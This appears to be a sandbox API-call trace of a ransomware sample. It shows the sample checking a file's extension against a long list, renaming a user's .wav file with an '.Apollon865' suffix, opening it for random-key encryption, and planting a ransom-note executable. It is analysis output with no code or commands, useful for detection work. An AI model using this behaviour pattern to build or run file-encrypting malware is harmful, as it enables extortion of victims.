	[0088.245] lstrlenW (lpString="accft") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accft") returned 1
	[0088.245] lstrlenW (lpString="adb") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.245] lstrlenW (lpString="adb") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.245] lstrlenW (lpString="ade") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.245] lstrlenW (lpString="adf") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.245] lstrlenW (lpString="adn") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.245] lstrlenW (lpString="adp") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.245] lstrlenW (lpString="alf") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.245] lstrlenW (lpString="ask") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.246] lstrlenW (lpString="btr") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.246] lstrlenW (lpString="cat") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.246] lstrlenW (lpString="cdb") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.246] lstrlenW (lpString="ckp") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.246] lstrlenW (lpString="cma") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.246] lstrlenW (lpString="cpd") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.246] lstrlenW (lpString="dacpac") returned 6
	[0088.246] lstrcmpiW (lpString1="4f.wav", lpString2="dacpac") returned -1
	[0088.246] lstrlenW (lpString="dad") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.246] lstrlenW (lpString="dadiagrams") returned 10
	[0088.246] lstrcmpiW (lpString1="hY6r4f.wav", lpString2="dadiagrams") returned 1
	[0088.246] lstrlenW (lpString="daschema") returned 8
	[0088.246] lstrcmpiW (lpString1="6r4f.wav", lpString2="daschema") returned -1
	[0088.246] lstrlenW (lpString="db-journal") returned 10
	[0088.246] lstrcmpiW (lpString1="hY6r4f.wav", lpString2="db-journal") returned 1
	[0088.246] lstrlenW (lpString="db-shm") returned 6
	[0088.246] lstrcmpiW (lpString1="4f.wav", lpString2="db-shm") returned -1
	[0088.246] lstrlenW (lpString="db-wal") returned 6
	[0088.246] lstrcmpiW (lpString1="4f.wav", lpString2="db-wal") returned -1
	[0088.246] lstrlenW (lpString="dbc") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.246] lstrlenW (lpString="dbs") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.246] lstrlenW (lpString="dbt") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.246] lstrlenW (lpString="dbv") returned 3
	[0088.246] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.246] lstrlenW (lpString="dbx") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.247] lstrlenW (lpString="dcb") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.247] lstrlenW (lpString="dct") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.247] lstrlenW (lpString="dcx") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.247] lstrlenW (lpString="ddl") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.247] lstrlenW (lpString="dlis") returned 4
	[0088.247] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.247] lstrlenW (lpString="dp1") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.247] lstrlenW (lpString="dqy") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.247] lstrlenW (lpString="dsk") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.247] lstrlenW (lpString="dsn") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.247] lstrlenW (lpString="dtsx") returned 4
	[0088.247] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.247] lstrlenW (lpString="dxl") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.247] lstrlenW (lpString="eco") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.247] lstrlenW (lpString="ecx") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.247] lstrlenW (lpString="edb") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.247] lstrlenW (lpString="epim") returned 4
	[0088.247] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.247] lstrlenW (lpString="fcd") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.247] lstrlenW (lpString="fdb") returned 3
	[0088.247] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.248] lstrlenW (lpString="fic") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.248] lstrlenW (lpString="flexolibrary") returned 12
	[0088.248] lstrlenW (lpString="fm5") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.248] lstrlenW (lpString="fmp") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.248] lstrlenW (lpString="fmp12") returned 5
	[0088.248] lstrcmpiW (lpString1="f.wav", lpString2="fmp12") returned -1
	[0088.248] lstrlenW (lpString="fmpsl") returned 5
	[0088.248] lstrcmpiW (lpString1="f.wav", lpString2="fmpsl") returned -1
	[0088.248] lstrlenW (lpString="fol") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.248] lstrlenW (lpString="fp3") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.248] lstrlenW (lpString="fp4") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.248] lstrlenW (lpString="fp5") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.248] lstrlenW (lpString="fp7") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.248] lstrlenW (lpString="fpt") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.248] lstrlenW (lpString="frm") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.248] lstrlenW (lpString="gdb") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.248] lstrlenW (lpString="gdb") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.248] lstrlenW (lpString="grdb") returned 4
	[0088.248] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.248] lstrlenW (lpString="gwi") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.248] lstrlenW (lpString="hdb") returned 3
	[0088.248] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.248] lstrlenW (lpString="his") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.249] lstrlenW (lpString="ib") returned 2
	[0088.249] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.249] lstrlenW (lpString="idb") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.249] lstrlenW (lpString="ihx") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.249] lstrlenW (lpString="itdb") returned 4
	[0088.249] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.249] lstrlenW (lpString="itw") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.249] lstrlenW (lpString="jet") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.249] lstrlenW (lpString="jtx") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.249] lstrlenW (lpString="kdb") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.249] lstrlenW (lpString="kexi") returned 4
	[0088.249] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.249] lstrlenW (lpString="kexic") returned 5
	[0088.249] lstrcmpiW (lpString1="f.wav", lpString2="kexic") returned -1
	[0088.249] lstrlenW (lpString="kexis") returned 5
	[0088.249] lstrcmpiW (lpString1="f.wav", lpString2="kexis") returned -1
	[0088.249] lstrlenW (lpString="lgc") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.249] lstrlenW (lpString="lwx") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.249] lstrlenW (lpString="maf") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.249] lstrlenW (lpString="maq") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.249] lstrlenW (lpString="mar") returned 3
	[0088.249] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.249] lstrlenW (lpString="marshal") returned 7
	[0088.249] lstrcmpiW (lpString1="r4f.wav", lpString2="marshal") returned 1
	[0088.250] lstrlenW (lpString="mas") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.250] lstrlenW (lpString="mav") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.250] lstrlenW (lpString="maw") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.250] lstrlenW (lpString="mdbhtml") returned 7
	[0088.250] lstrcmpiW (lpString1="r4f.wav", lpString2="mdbhtml") returned 1
	[0088.250] lstrlenW (lpString="mdn") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.250] lstrlenW (lpString="mdt") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.250] lstrlenW (lpString="mfd") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.250] lstrlenW (lpString="mpd") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.250] lstrlenW (lpString="mrg") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.250] lstrlenW (lpString="mud") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.250] lstrlenW (lpString="mwb") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.250] lstrlenW (lpString="myd") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.250] lstrlenW (lpString="ndf") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.250] lstrlenW (lpString="nnt") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.250] lstrlenW (lpString="nrmlib") returned 6
	[0088.250] lstrcmpiW (lpString1="4f.wav", lpString2="nrmlib") returned -1
	[0088.250] lstrlenW (lpString="ns2") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.250] lstrlenW (lpString="ns3") returned 3
	[0088.250] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.250] lstrlenW (lpString="ns4") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.251] lstrlenW (lpString="nsf") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.251] lstrlenW (lpString="nv") returned 2
	[0088.251] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.251] lstrlenW (lpString="nv2") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.251] lstrlenW (lpString="nwdb") returned 4
	[0088.251] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.251] lstrlenW (lpString="nyf") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.251] lstrlenW (lpString="odb") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.251] lstrlenW (lpString="odb") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.251] lstrlenW (lpString="oqy") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.251] lstrlenW (lpString="ora") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.251] lstrlenW (lpString="orx") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.251] lstrlenW (lpString="owc") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.251] lstrlenW (lpString="p96") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.251] lstrlenW (lpString="p97") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.251] lstrlenW (lpString="pan") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.251] lstrlenW (lpString="pdb") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.251] lstrlenW (lpString="pdm") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.251] lstrlenW (lpString="pnz") returned 3
	[0088.251] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.252] lstrlenW (lpString="qry") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.252] lstrlenW (lpString="qvd") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.252] lstrlenW (lpString="rbf") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.252] lstrlenW (lpString="rctd") returned 4
	[0088.252] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.252] lstrlenW (lpString="rod") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.252] lstrlenW (lpString="rodx") returned 4
	[0088.252] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.252] lstrlenW (lpString="rpd") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.252] lstrlenW (lpString="rsd") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.252] lstrlenW (lpString="sas7bdat") returned 8
	[0088.252] lstrcmpiW (lpString1="6r4f.wav", lpString2="sas7bdat") returned -1
	[0088.252] lstrlenW (lpString="sbf") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.252] lstrlenW (lpString="scx") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.252] lstrlenW (lpString="sdb") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.252] lstrlenW (lpString="sdc") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.252] lstrlenW (lpString="sdf") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.252] lstrlenW (lpString="sis") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.252] lstrlenW (lpString="spq") returned 3
	[0088.252] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.252] lstrlenW (lpString="te") returned 2
	[0088.252] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.252] lstrlenW (lpString="teacher") returned 7
	[0088.253] lstrcmpiW (lpString1="r4f.wav", lpString2="teacher") returned -1
	[0088.253] lstrlenW (lpString="tmd") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.253] lstrlenW (lpString="tps") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.253] lstrlenW (lpString="trc") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.253] lstrlenW (lpString="trc") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.253] lstrlenW (lpString="trm") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.253] lstrlenW (lpString="udb") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.253] lstrlenW (lpString="udl") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.253] lstrlenW (lpString="usr") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.253] lstrlenW (lpString="v12") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.253] lstrlenW (lpString="vis") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.253] lstrlenW (lpString="vpd") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.253] lstrlenW (lpString="vvv") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.253] lstrlenW (lpString="wdb") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.253] lstrlenW (lpString="wmdb") returned 4
	[0088.253] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.253] lstrlenW (lpString="wrk") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.253] lstrlenW (lpString="xdb") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.253] lstrlenW (lpString="xld") returned 3
	[0088.253] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.253] lstrlenW (lpString="xmlff") returned 5
	[0088.254] lstrcmpiW (lpString1="f.wav", lpString2="xmlff") returned -1
	[0088.254] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vOhY6r4f.wav.Apollon865") returned 77
	[0088.254] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vOhY6r4f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vohy6r4f.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vOhY6r4f.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vohy6r4f.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vOhY6r4f.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vohy6r4f.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.255] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93188) returned 1
	[0088.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.256] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.256] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.256] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.257] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16f10, lpName=0x0) returned 0x15c
	[0088.257] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16f10) returned 0x120000
	[0088.260] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.261] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.261] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.262] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.262] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.263] CloseHandle (hObject=0x15c) returned 1
	[0088.263] CloseHandle (hObject=0x9c) returned 1
	[0088.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.264] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb0db0, ftCreationTime.dwHighDateTime=0x1d4c896, ftLastAccessTime.dwLowDateTime=0x8cfb9ce0, ftLastAccessTime.dwHighDateTime=0x1d4d1b6, ftLastWriteTime.dwLowDateTime=0x8cfb9ce0, ftLastWriteTime.dwHighDateTime=0x1d4d1b6, nFileSizeHigh=0x0, nFileSizeLow=0x16c04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vOhY6r4f.wav", cAlternateFileName="")) returned 0
	[0088.265] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.265] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7990
	[0088.265] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I"
	[0088.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0088.265] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0088.265] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned 73
	[0088.265] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I"
	[0088.265] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.265] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.267] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.267] GetLastError () returned 0x0
	[0088.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.267] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.267] CloseHandle (hObject=0x10c) returned 1
	[0088.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.268] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94f36cc0, ftCreationTime.dwHighDateTime=0x1d4ccf2, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.268] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.268] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.268] lstrcmpiW (lpString1=".", lpString2=".") returned 0
